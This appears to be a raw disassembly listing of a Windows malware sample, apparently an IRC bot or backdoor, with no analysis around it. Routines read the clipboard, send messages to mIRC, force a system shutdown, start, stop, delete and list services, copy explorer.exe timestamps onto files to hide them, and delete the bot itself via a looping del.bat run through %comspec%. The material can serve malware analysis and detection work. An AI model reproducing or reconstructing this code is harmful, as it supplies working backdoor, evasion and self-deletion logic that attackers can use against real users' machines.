mov edi, [ebp+arg_0]
xor esi, esi
cmp edi, esi
jz short loc_4098CD
mov eax, [ebp+arg_4]
cmp eax, esi
jz short loc_4098CD
cmp [ebp+arg_8], esi
jz short loc_4098CD
cmp byte ptr [eax], 0
jz short loc_4098CD
push ebx
push edi
call sub_4311B0
mov ebx, eax
pop ecx
test ebx, ebx
jz short loc_4098C8
push [ebp+arg_4]
push edi
call sub_419AB0
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_4098C1
sub eax, edi
push eax
push edi
push ebx
call sub_4191A0
push [ebp+arg_8]
mov eax, ebx
sub eax, edi
and byte ptr [eax+esi], 0
call sub_418E70
push eax
push [ebp+arg_8]
push ebx
call sub_419040
push [ebp+arg_4]
call sub_418E70
add eax, esi
push eax
push ebx
call sub_419FB0
push ebx
push edi
call sub_419FA0
add esp, 30h
mov esi, edi
loc_4098C1: ; CODE XREF: sub_409842+3Cj
push ebx
call sub_417480
pop ecx
loc_4098C8: ; CODE XREF: sub_409842+2Bj
mov eax, esi
pop ebx
jmp short loc_4098CF
; ---------------------------------------------------------------------------
loc_4098CD: ; CODE XREF: sub_409842+Cj
; sub_409842+13j ...
xor eax, eax
loc_4098CF: ; CODE XREF: sub_409842+89j
pop edi
pop esi
pop ebp
retn
sub_409842 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4098D3 proc near ; CODE XREF: sub_40823C+F4p
; sub_40C392+E9p
var_7D0 = dword ptr -7D0h
var_7CC = byte ptr -7CCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7D0h
push ebx
push esi
push 7D0h
lea eax, [ebp+var_7D0]
push 0
push eax
call sub_4189A0
mov esi, [ebp+arg_0]
push esi
call sub_418E70
add esp, 10h
push 1
pop ebx
cmp eax, ebx
jge short loc_409909
or eax, 0FFFFFFFFh
jmp short loc_40997C
; ---------------------------------------------------------------------------
loc_409909: ; CODE XREF: sub_4098D3+2Fj
xor ecx, ecx
mov [ebp+var_7D0], esi
test eax, eax
jle short loc_40992B
loc_409915: ; CODE XREF: sub_4098D3+56j
mov dl, [ecx+esi]
cmp dl, 0Ah
jz short loc_409922
cmp dl, 0Dh
jnz short loc_409926
loc_409922: ; CODE XREF: sub_4098D3+48j
and byte ptr [ecx+esi], 0
loc_409926: ; CODE XREF: sub_4098D3+4Dj
inc ecx
cmp ecx, eax
jl short loc_409915
loc_40992B: ; CODE XREF: sub_4098D3+40j
xor edx, edx
push edi
test eax, eax
jle short loc_40995C
lea edi, [ebp+var_7CC]
loc_409938: ; CODE XREF: sub_4098D3+87j
cmp byte ptr [edx+esi], 0
jnz short loc_409957
cmp byte ptr [edx+esi+1], 0
lea ecx, [edx+esi+1]
jz short loc_409957
cmp ebx, 1F4h
jge short loc_40995C
mov [edi], ecx
inc ebx
add edi, 4
loc_409957: ; CODE XREF: sub_4098D3+69j
; sub_4098D3+74j
inc edx
cmp edx, eax
jl short loc_409938
loc_40995C: ; CODE XREF: sub_4098D3+5Dj
; sub_4098D3+7Cj
cmp [ebp+arg_4], 0
pop edi
jz short loc_40997A
lea eax, [ebp+var_7D0]
push 7D0h
push eax
push [ebp+arg_4]
call sub_418A00
add esp, 0Ch
loc_40997A: ; CODE XREF: sub_4098D3+8Ej
mov eax, ebx
loc_40997C: ; CODE XREF: sub_4098D3+34j
pop esi
pop ebx
leave
retn
sub_4098D3 endp
; =============== S U B R O U T I N E =======================================
sub_409980 proc near ; CODE XREF: sub_4099DA+33p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
mov edi, [esp+8+arg_8]
mov ecx, 1F4h
xor esi, esi
rep stosd
lea edi, [eax-1]
test edi, edi
jl short loc_4099B9
push ebx
mov ebx, edi
loc_40999D: ; CODE XREF: sub_409980+36j
mov eax, [esp+0Ch+arg_0]
mov al, [esi+eax]
push eax
call sub_4099BC
pop ecx
inc esi
mov ecx, [esp+0Ch+arg_8]
mov [ecx+eax*4], ebx
dec ebx
cmp esi, edi
jle short loc_40999D
pop ebx
loc_4099B9: ; CODE XREF: sub_409980+18j
pop edi
pop esi
retn
sub_409980 endp
; =============== S U B R O U T I N E =======================================
sub_4099BC proc near ; CODE XREF: sub_409980+25p
; sub_4099DA+6Bp
arg_0 = byte ptr 4
movsx eax, [esp+arg_0]
push eax
call sub_41AE40
cmp al, 61h
pop ecx
jl short loc_4099D7
cmp al, 7Ah
jg short loc_4099D7
movsx eax, al
sub eax, 60h
retn
; ---------------------------------------------------------------------------
loc_4099D7: ; CODE XREF: sub_4099BC+Ej
; sub_4099BC+12j
xor eax, eax
retn
sub_4099BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4099DA proc near ; CODE XREF: .text:004036EAp
; sub_40375F+10p ...
var_100C = dword ptr -100Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 100Ch
call sub_418D40
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_418E70
push [ebp+arg_4]
mov [ebp+var_4], eax
call sub_418E70
mov esi, eax
lea eax, [ebp+var_100C]
push eax
push esi
push [ebp+arg_4]
mov [ebp+var_C], esi
call sub_409980
add esp, 14h
dec esi
mov edi, esi
loc_409A18: ; CODE XREF: sub_4099DA+B6j
test esi, esi
jle short loc_409A96
mov eax, [ebp+arg_4]
movsx eax, byte ptr [esi+eax]
push eax
call sub_41AE40
mov ebx, eax
mov eax, [ebp+arg_0]
movsx eax, byte ptr [edi+eax]
push eax
call sub_41AE40
pop ecx
cmp eax, ebx
pop ecx
jz short loc_409A8E
loc_409A3E: ; CODE XREF: sub_4099DA+B2j
mov ebx, [ebp+arg_0]
mov al, [edi+ebx]
push eax
call sub_4099BC
mov edx, [ebp+var_C]
mov eax, [ebp+eax*4+var_100C]
pop ecx
mov ecx, edx
sub ecx, esi
cmp ecx, eax
jle short loc_409A5F
mov eax, ecx
loc_409A5F: ; CODE XREF: sub_4099DA+81j
add edi, eax
cmp edi, [ebp+var_4]
jge short loc_409A92
mov eax, [ebp+arg_4]
lea esi, [edx-1]
movsx eax, byte ptr [esi+eax]
push eax
call sub_41AE40
mov edx, eax
movsx eax, byte ptr [edi+ebx]
push eax
mov [ebp+var_8], edx
call sub_41AE40
pop ecx
pop ecx
mov ecx, [ebp+var_8]
cmp eax, ecx
jnz short loc_409A3E
loc_409A8E: ; CODE XREF: sub_4099DA+62j
dec edi
dec esi
jmp short loc_409A18
; ---------------------------------------------------------------------------
loc_409A92: ; CODE XREF: sub_4099DA+8Aj
xor eax, eax
jmp short loc_409A9B
; ---------------------------------------------------------------------------
loc_409A96: ; CODE XREF: sub_4099DA+40j
mov eax, [ebp+arg_0]
add eax, edi
loc_409A9B: ; CODE XREF: sub_4099DA+BAj
pop edi
pop esi
pop ebx
leave
retn
sub_4099DA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409AA0 proc near ; CODE XREF: sub_40C50A+3C8Dp
; sub_40C50A+4AECp
var_100 = byte ptr -100h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 100h
push esi
call ds:dword_4942F0
mov esi, eax
push 0
lea eax, [ebp+var_100]
push 100h
push eax
push 400h
push esi
push 0
push 1200h
call ds:dword_494384
lea eax, [ebp+var_100]
loc_409AD9: ; CODE XREF: sub_409AA0+46j
mov cl, [eax]
cmp cl, 1Fh
jg short loc_409AE5
cmp cl, 9
jnz short loc_409AE8
loc_409AE5: ; CODE XREF: sub_409AA0+3Ej
inc eax
jmp short loc_409AD9
; ---------------------------------------------------------------------------
loc_409AE8: ; CODE XREF: sub_409AA0+43j
; sub_409AA0+5Bj ...
and byte ptr [eax], 0
dec eax
lea ecx, [ebp+var_100]
cmp eax, ecx
jb short loc_409B02
mov cl, [eax]
cmp cl, 2Eh
jz short loc_409AE8
cmp cl, 21h
jl short loc_409AE8
loc_409B02: ; CODE XREF: sub_409AA0+54j
lea eax, [ebp+var_100]
push esi
push eax
mov esi, offset dword_44B7F0
push [ebp+arg_0]
push offset aSErrorSD_ ; "%s Error: %s <%d>."
push 200h
push esi
call sub_418EF0
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_409AA0 endp
; =============== S U B R O U T I N E =======================================
sub_409B2A proc near ; CODE XREF: sub_40C50A+573Bp
push esi
push 0
call dword_44B690 ; OpenClipboard
test eax, eax
jz short loc_409B61
push 1
call dword_44B6B0 ; GetClipboardData
mov esi, eax
test esi, esi
jz short loc_409B61
push edi
push esi
call ds:dword_49438C
push esi
mov edi, eax
call ds:dword_494388
call dword_44B714 ; CloseClipboard
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_409B61: ; CODE XREF: sub_409B2A+Bj
; sub_409B2A+19j
xor eax, eax
pop esi
retn
sub_409B2A endp
; =============== S U B R O U T I N E =======================================
sub_409B65 proc near ; CODE XREF: sub_40C50A+48DCp
arg_0 = dword ptr 4
push ebp
push esi
xor esi, esi
push esi
push offset aMirc_0 ; "mIRC"
call dword_44B6CC ; FindWindowA
mov ebp, eax
cmp ebp, esi
jz short loc_409BE5
push ebx
push edi
push offset aMirc_1 ; "mIRC"
push 1000h
push esi
push 4
push esi
push 0FFFFFFFFh
call ds:dword_494398
push esi
push esi
mov edi, eax
push esi
push 0F001Fh
push edi
call ds:dword_494394
push [esp+10h+arg_0]
mov ebx, eax
push ebx
call sub_418D70
pop ecx
pop ecx
push esi
push 1
push 4C8h
push ebp
call dword_44B71C ; SendMessageA
push esi
push 1
push 4C9h
push ebp
call dword_44B71C ; SendMessageA
push ebx
call ds:dword_494390
push edi
call ds:dword_4942E0
push 1
pop eax
pop edi
pop ebx
jmp short loc_409BE7
; ---------------------------------------------------------------------------
loc_409BE5: ; CODE XREF: sub_409B65+14j
xor eax, eax
loc_409BE7: ; CODE XREF: sub_409B65+7Ej
pop esi
pop ebp
retn
sub_409B65 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409BEA proc near ; CODE XREF: sub_40BBCB+212p
var_11C = byte ptr -11Ch
var_18 = byte ptr -18h
var_10 = byte ptr -10h
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
push ebx
push esi
xor esi, esi
push edi
lea eax, [ebp+var_11C]
push esi
push eax
push 104h
push esi
push offset aExplorer_exe ; "explorer.exe"
push esi
call dword_44B77C ; SearchPathA
test eax, eax
jz short loc_409C89
mov edi, 80h
push esi
push edi
push 3
push esi
mov esi, ds:dword_4942EC
push 1
lea eax, [ebp+var_11C]
push 80000000h
push eax
call esi
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_409C89
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push ebx
call ds:dword_4943A0
push ebx
mov ebx, ds:dword_4942E0
call ebx
push 0
push edi
push 3
push 0
push 2
push 40000000h
push [ebp+arg_0]
call esi
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_409C89
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push esi
call ds:dword_49439C
push esi
call ebx
loc_409C89: ; CODE XREF: sub_409BEA+2Aj
; sub_409BEA+51j ...
pop edi
pop esi
pop ebx
leave
retn
sub_409BEA endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 454h
push esi
xor esi, esi
push 10h
lea eax, [ebp-10h]
push esi
push eax
call sub_4189A0
push 44h
lea eax, [ebp-54h]
push esi
push eax
call sub_4189A0
push dword ptr [ebp+0Ch]
lea eax, [ebp-454h]
mov dword ptr [ebp-54h], 44h
mov dword ptr [ebp-28h], 1
push dword ptr [ebp+8]
mov [ebp-24h], si
push offset aSS_7 ; "%s %s"
push 400h
push eax
call sub_418EF0
add esp, 2Ch
lea eax, [ebp-10h]
push eax
lea eax, [ebp-54h]
push eax
push esi
push esi
push 28h
push esi
push esi
lea eax, [ebp-454h]
push esi
push eax
push dword ptr [ebp+8]
call ds:dword_494330
neg eax
sbb eax, eax
pop esi
and eax, [ebp-8]
leave
retn
; =============== S U B R O U T I N E =======================================
sub_409D0C proc near ; CODE XREF: sub_40C50A+132Ep
push 1
push offset aSeshutdownpriv ; "SeShutdownPrivilege"
call sub_40B487
pop ecx
pop ecx
push 50005h
push 6
call dword_44B608 ; ExitWindowsEx
neg eax
sbb eax, eax
neg eax
retn
sub_409D0C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409D2E proc near ; CODE XREF: sub_405084+472p
; sub_40C50A+59C6p
var_764 = byte ptr -764h
var_364 = byte ptr -364h
var_260 = byte ptr -260h
var_15C = byte ptr -15Ch
var_58 = dword ptr -58h
var_4C = dword ptr -4Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_14 = byte ptr -14h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 764h
push esi
xor esi, esi
cmp dword_43E1B4, esi
push edi
jz short loc_409D52
cmp dword_44B790, esi
jnz short loc_409D52
push esi
call sub_4038C0
pop ecx
loc_409D52: ; CODE XREF: sub_409D2E+13j
; sub_409D2E+1Bj
call sub_4163B4
lea eax, [ebp+var_764]
push eax
push 400h
call ds:dword_4943AC
lea eax, [ebp+var_764]
push eax
lea eax, [ebp+var_260]
push offset aSdel_bat ; "%sdel.bat"
push eax
call sub_418D70
add esp, 0Ch
lea eax, [ebp+var_260]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
call ds:dword_4942EC
mov edi, eax
cmp edi, esi
jbe loc_409EB2
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
push eax
call sub_418D70
add esp, 0Ch
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_764]
push eax
call sub_418E70
pop ecx
push eax
lea eax, [ebp+var_764]
push eax
push edi
call ds:dword_4942E4
push edi
call ds:dword_4942E0
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_4189A0
push 44h
lea eax, [ebp+var_58]
pop edi
push edi
push esi
push eax
call sub_4189A0
add esp, 18h
mov [ebp+var_58], edi
mov edi, 104h
lea eax, [ebp+var_15C]
push edi
push eax
push esi
mov [ebp+var_4C], offset dword_44B9F4
mov [ebp+var_2C], 1
mov [ebp+var_28], si
call ds:dword_494380
push eax
call ds:dword_4942F8
lea eax, [ebp+var_15C]
push eax
call ds:dword_49437C
cmp eax, 0FFFFFFFFh
jz short loc_409E5A
lea eax, [ebp+var_15C]
push 80h
push eax
call ds:dword_4943A8
loc_409E5A: ; CODE XREF: sub_409D2E+118j
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset aComspecCSS ; "%%comspec%% /c %s %s"
push eax
call sub_418D70
add esp, 10h
lea eax, [ebp+var_364]
push edi
push eax
lea eax, [ebp+var_764]
push eax
call ds:dword_4943A4
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push 4008h
push 1
push esi
lea eax, [ebp+var_364]
push esi
push eax
push esi
call ds:dword_494330
loc_409EB2: ; CODE XREF: sub_409D2E+72j
pop edi
pop esi
leave
retn
sub_409D2E endp
; =============== S U B R O U T I N E =======================================
sub_409EB6 proc near ; CODE XREF: sub_40C50A+1FE1p
; sub_40C50A+2042p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_409F1B
lea esi, [eax+eax*2]
push 0
shl esi, 2
push 0
push dword_43A4D8[esi]
push edi
push eax
call sub_409F3D
add esp, 14h
test eax, eax
jnz short loc_409EFE
push edi
push off_43A4D4[esi]
mov esi, offset dword_44C0B8
push offset aNetSServiceS_ ; "[NET]: %s service: '%s'."
push esi
call sub_418D70
add esp, 10h
jmp short loc_409F38
; ---------------------------------------------------------------------------
loc_409EFE: ; CODE XREF: sub_409EB6+2Aj
push eax
call sub_409FDF
push eax
push edi
mov esi, offset dword_44C0B8
push offset aNetErrorWithSe ; "[NET]: Error with service: '%s'. %s"
push esi
call sub_418D70
add esp, 14h
jmp short loc_409F38
; ---------------------------------------------------------------------------
loc_409F1B: ; CODE XREF: sub_409EB6+Cj
lea eax, [eax+eax*2]
mov esi, offset dword_44C0B8
push off_43A4D0[eax*4]
push offset aNetSNoServiceS ; "[NET]: %s: No service specified."
push esi
call sub_418D70
add esp, 0Ch
loc_409F38: ; CODE XREF: sub_409EB6+46j
; sub_409EB6+63j
mov eax, esi
pop edi
pop esi
retn
sub_409EB6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409F3D proc near ; CODE XREF: sub_409EB6+20p
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
call dword_44B6B4 ; OpenSCManagerA
mov edi, eax
cmp edi, ebx
jnz short loc_409F64
call ds:dword_4942F0
mov ebx, eax
jmp short loc_409FD9
; ---------------------------------------------------------------------------
loc_409F64: ; CODE XREF: sub_409F3D+1Bj
push esi
push 0F01FFh
push [ebp+arg_4]
push edi
call dword_44B5A8 ; OpenServiceA
mov esi, eax
cmp esi, ebx
jnz short loc_409F84
call ds:dword_4942F0
mov ebx, eax
jmp short loc_409FD1
; ---------------------------------------------------------------------------
loc_409F84: ; CODE XREF: sub_409F3D+3Bj
mov eax, [ebp+arg_0]
cmp eax, 1
jz short loc_409FB7
cmp eax, 3
jz short loc_409FA8
jle short loc_409FCA
cmp eax, 6
jg short loc_409FCA
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_8]
push esi
call dword_44B610 ; ControlService
jmp short loc_409FBE
; ---------------------------------------------------------------------------
loc_409FA8: ; CODE XREF: sub_409F3D+52j
push [ebp+arg_10]
push [ebp+arg_C]
push esi
call dword_44B5B0 ; StartServiceA
jmp short loc_409FBE
; ---------------------------------------------------------------------------
loc_409FB7: ; CODE XREF: sub_409F3D+4Dj
push esi
call dword_44B614 ; DeleteService
loc_409FBE: ; CODE XREF: sub_409F3D+69j
; sub_409F3D+78j
test eax, eax
jnz short loc_409FCA
call ds:dword_4942F0
mov ebx, eax
loc_409FCA: ; CODE XREF: sub_409F3D+54j
; sub_409F3D+59j ...
push esi
call dword_44B5C4 ; CloseServiceHandle
loc_409FD1: ; CODE XREF: sub_409F3D+45j
push edi
call dword_44B5C4 ; CloseServiceHandle
pop esi
loc_409FD9: ; CODE XREF: sub_409F3D+25j
mov eax, ebx
pop edi
pop ebx
leave
retn
sub_409F3D endp
; =============== S U B R O U T I N E =======================================
sub_409FDF proc near ; CODE XREF: sub_409EB6+49p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 420h
cmp eax, ecx
ja loc_40A094
jz loc_40A08D
add ecx, 0FFFFFFFBh
cmp eax, ecx
ja short loc_40A057
jz short loc_40A04D
mov ecx, eax
sub ecx, 3
jz short loc_40A043
dec ecx
dec ecx
jz short loc_40A039
dec ecx
jz short loc_40A02F
sub ecx, 51h
jz short loc_40A025
sub ecx, 24h
jnz loc_40A10A ; default
; jumptable 0040A0B1 cases 1,5,6,8,9,12,13,15,16
push offset aTheSpecifiedSe ; "The specified service name is invalid."
jmp loc_40A0FC
; ---------------------------------------------------------------------------
loc_40A025: ; CODE XREF: sub_409FDF+31j
push offset aTheRequestedCo ; "The requested control code is undefined"...
jmp loc_40A0FC
; ---------------------------------------------------------------------------
loc_40A02F: ; CODE XREF: sub_409FDF+2Cj
push offset aTheHandleIsInv ; "The handle is invalid."
jmp loc_40A0FC
; ---------------------------------------------------------------------------
loc_40A039: ; CODE XREF: sub_409FDF+29j
push offset aTheHandleDoesN ; "The handle does not have the required a"...
jmp loc_40A0FC
; ---------------------------------------------------------------------------
loc_40A043: ; CODE XREF: sub_409FDF+25j
push offset aTheServiceBina ; "The service binary file could not be fo"...
jmp loc_40A0FC
; ---------------------------------------------------------------------------
loc_40A04D: ; CODE XREF: sub_409FDF+1Ej
push offset aTheServiceCann ; "The service cannot be stopped because o"...
jmp loc_40A0FC
; ---------------------------------------------------------------------------
loc_40A057: ; CODE XREF: sub_409FDF+1Cj
mov ecx, eax
sub ecx, 41Ch
jz short loc_40A086
dec ecx
jz short loc_40A07F
dec ecx
jz short loc_40A078
dec ecx
jnz loc_40A10A ; default
; jumptable 0040A0B1 cases 1,5,6,8,9,12,13,15,16
push offset aTheDatabaseIsL ; "The database is locked."
jmp loc_40A0FC
; ---------------------------------------------------------------------------
loc_40A078: ; CODE XREF: sub_409FDF+86j
push offset aAThreadCouldNo ; "A thread could not be created for the s"...
jmp short loc_40A0FC
; ---------------------------------------------------------------------------
loc_40A07F: ; CODE XREF: sub_409FDF+83j
push offset aTheProcessForT ; "The process for the service was started"...
jmp short loc_40A0FC
; ---------------------------------------------------------------------------
loc_40A086: ; CODE XREF: sub_409FDF+80j
push offset aTheRequested_0 ; "The requested control code is not valid"...
jmp short loc_40A0FC
; ---------------------------------------------------------------------------
loc_40A08D: ; CODE XREF: sub_409FDF+11j
push offset aAnInstanceOfTh ; "An instance of the service is already r"...
jmp short loc_40A0FC
; ---------------------------------------------------------------------------
loc_40A094: ; CODE XREF: sub_409FDF+Bj
mov ecx, 45Bh
cmp eax, ecx
ja short loc_40A10A ; default
; jumptable 0040A0B1 cases 1,5,6,8,9,12,13,15,16
jz short loc_40A0F7
lea ecx, [eax-422h]
cmp ecx, 11h ; switch 18 cases
ja short loc_40A10A ; default
; jumptable 0040A0B1 cases 1,5,6,8,9,12,13,15,16
movzx ecx, ds:byte_40A14B[ecx]
jmp ds:off_40A123[ecx*4] ; switch jump
loc_40A0B8: ; DATA XREF: .text:off_40A123o
push offset aTheSpecifiedDa ; jumptable 0040A0B1 case 7
jmp short loc_40A0FC
; ---------------------------------------------------------------------------
loc_40A0BF: ; CODE XREF: sub_409FDF+D2j
; DATA XREF: .text:off_40A123o
push offset aTheServiceDepe ; jumptable 0040A0B1 case 17
jmp short loc_40A0FC
; ---------------------------------------------------------------------------
loc_40A0C6: ; CODE XREF: sub_409FDF+D2j
; DATA XREF: .text:off_40A123o
push offset aTheServiceDe_0 ; jumptable 0040A0B1 case 10
jmp short loc_40A0FC
; ---------------------------------------------------------------------------
loc_40A0CD: ; CODE XREF: sub_409FDF+D2j
; DATA XREF: .text:off_40A123o
push offset aTheServiceHasB ; jumptable 0040A0B1 case 0
jmp short loc_40A0FC
; ---------------------------------------------------------------------------
loc_40A0D4: ; CODE XREF: sub_409FDF+D2j
; DATA XREF: .text:off_40A123o
push offset aTheSpecified_0 ; jumptable 0040A0B1 case 2
jmp short loc_40A0FC
; ---------------------------------------------------------------------------
loc_40A0DB: ; CODE XREF: sub_409FDF+D2j
; DATA XREF: .text:off_40A123o
push offset aTheServiceCoul ; jumptable 0040A0B1 case 11
jmp short loc_40A0FC
; ---------------------------------------------------------------------------
loc_40A0E2: ; CODE XREF: sub_409FDF+D2j
; DATA XREF: .text:off_40A123o
push offset aTheServiceHa_0 ; jumptable 0040A0B1 case 14
jmp short loc_40A0FC
; ---------------------------------------------------------------------------
loc_40A0E9: ; CODE XREF: sub_409FDF+D2j
; DATA XREF: .text:off_40A123o
push offset aTheRequested_1 ; jumptable 0040A0B1 case 3
jmp short loc_40A0FC
; ---------------------------------------------------------------------------
loc_40A0F0: ; CODE XREF: sub_409FDF+D2j
; DATA XREF: .text:off_40A123o
push offset aTheServiceHasN ; jumptable 0040A0B1 case 4
jmp short loc_40A0FC
; ---------------------------------------------------------------------------
loc_40A0F7: ; CODE XREF: sub_409FDF+BEj
push offset aTheSystemIsShu ; "The system is shutting down."
loc_40A0FC: ; CODE XREF: sub_409FDF+41j
; sub_409FDF+4Bj ...
push offset dword_44B9F8
call sub_418D70
pop ecx
pop ecx
jmp short loc_40A11D
; ---------------------------------------------------------------------------
loc_40A10A: ; CODE XREF: sub_409FDF+36j
; sub_409FDF+89j ...
push eax ; default
; jumptable 0040A0B1 cases 1,5,6,8,9,12,13,15,16
push offset aAnUnknownErr_0 ; "An unknown error occurred: <%ld>"
push offset dword_44B9F8
call sub_418D70
add esp, 0Ch
loc_40A11D: ; CODE XREF: sub_409FDF+129j
mov eax, offset dword_44B9F8
retn
sub_409FDF endp
; ---------------------------------------------------------------------------
off_40A123 dd offset loc_40A0CD ; DATA XREF: sub_409FDF+D2r
dd offset loc_40A0D4 ; jump table for switch statement
dd offset loc_40A0E9
dd offset loc_40A0F0
dd offset loc_40A0B8
dd offset loc_40A0C6
dd offset loc_40A0DB
dd offset loc_40A0E2
dd offset loc_40A0BF
dd offset loc_40A10A
byte_40A14B db 0, 9, 1, 2 ; DATA XREF: sub_409FDF+CBr
db 3, 9, 9, 4 ; indirect table for switch statement
db 9, 9, 5, 6
db 9, 9, 7, 9
db 9, 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A15D proc near ; CODE XREF: sub_40C50A+200Cp
var_38C = byte ptr -38Ch
var_18C = byte ptr -18Ch
var_188 = byte ptr -188h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 38Ch
push ebx
push esi
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
mov [ebp+var_8], ebx
call dword_44B6B4 ; OpenSCManagerA
push ebx
mov [ebp+var_C], eax
push [ebp+arg_8]
push offset aTheFollowingWi ; "The following Windows services are regi"...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40842D
add esp, 14h
loc_40A195: ; CODE XREF: sub_40A15D+120j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_18C]
push 168h
push eax
push 3
push 30h
push [ebp+var_C]
call dword_44B680 ; EnumServicesStatusA
test eax, eax
jnz short loc_40A1CF
call ds:dword_4942F0
cmp eax, 0EAh
jnz loc_40A283
loc_40A1CF: ; CODE XREF: sub_40A15D+5Fj
xor edi, edi
cmp [ebp+var_4], ebx
jle loc_40A27A
lea esi, [ebp+var_188]
loc_40A1E0: ; CODE XREF: sub_40A15D+117j
mov eax, [esi+8]
dec eax
jz short loc_40A229
dec eax
jz short loc_40A222
dec eax
jz short loc_40A21B
dec eax
jz short loc_40A214
dec eax
jz short loc_40A20D
dec eax
jz short loc_40A206
dec eax
jz short loc_40A1FF
push offset aUnknown_0 ; " Unknown"
jmp short loc_40A22E
; ---------------------------------------------------------------------------
loc_40A1FF: ; CODE XREF: sub_40A15D+99j
push offset aPaused ; " Paused"
jmp short loc_40A22E
; ---------------------------------------------------------------------------
loc_40A206: ; CODE XREF: sub_40A15D+96j
push offset aPausing ; " Pausing"
jmp short loc_40A22E
; ---------------------------------------------------------------------------
loc_40A20D: ; CODE XREF: sub_40A15D+93j
push offset aContinuing ; " Continuing"
jmp short loc_40A22E
; ---------------------------------------------------------------------------
loc_40A214: ; CODE XREF: sub_40A15D+90j
push offset aRunning ; " Running"
jmp short loc_40A22E
; ---------------------------------------------------------------------------
loc_40A21B: ; CODE XREF: sub_40A15D+8Dj
push offset aStoping ; " Stoping"
jmp short loc_40A22E
; ---------------------------------------------------------------------------
loc_40A222: ; CODE XREF: sub_40A15D+8Aj
push offset aStarting ; " Starting"
jmp short loc_40A22E
; ---------------------------------------------------------------------------
loc_40A229: ; CODE XREF: sub_40A15D+87j
push offset aStopped ; " Stopped"
loc_40A22E: ; CODE XREF: sub_40A15D+A0j
; sub_40A15D+A7j ...
lea eax, [ebp+var_20]
push eax
call sub_418D70
pop ecx
lea eax, [ebp+var_20]
pop ecx
push dword ptr [esi]
push dword ptr [esi-4]
push eax
lea eax, [ebp+var_38C]
push offset aSSS_0 ; "%s: %s (%s)"
push eax
call sub_418D70
push 1
lea eax, [ebp+var_38C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40842D
add esp, 28h
inc edi
add esi, 24h
cmp edi, [ebp+var_4]
jl loc_40A1E0
loc_40A27A: ; CODE XREF: sub_40A15D+77j
cmp [ebp+var_8], ebx
jnz loc_40A195
loc_40A283: ; CODE XREF: sub_40A15D+6Cj
push [ebp+var_C]
call dword_44B5C4 ; CloseServiceHandle
xor eax, eax
pop edi
cmp eax, [ebp+var_4]
pop esi
pop ebx
sbb eax, eax
neg eax
leave
retn
sub_40A15D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A29A proc near ; CODE XREF: sub_40C50A+20E5p
; sub_40C50A+20FDp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
test edi, edi
jz loc_40A333
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, 0
jz short loc_40A2C3
dec eax
jnz short loc_40A313
push edi
push 0
call sub_40A46C
pop ecx
pop ecx
jmp short loc_40A30F
; ---------------------------------------------------------------------------
loc_40A2C3: ; CODE XREF: sub_40A29A+18j
cmp [ebp+arg_8], 0
jnz short loc_40A301
push 24h
push edi
call sub_4199F0
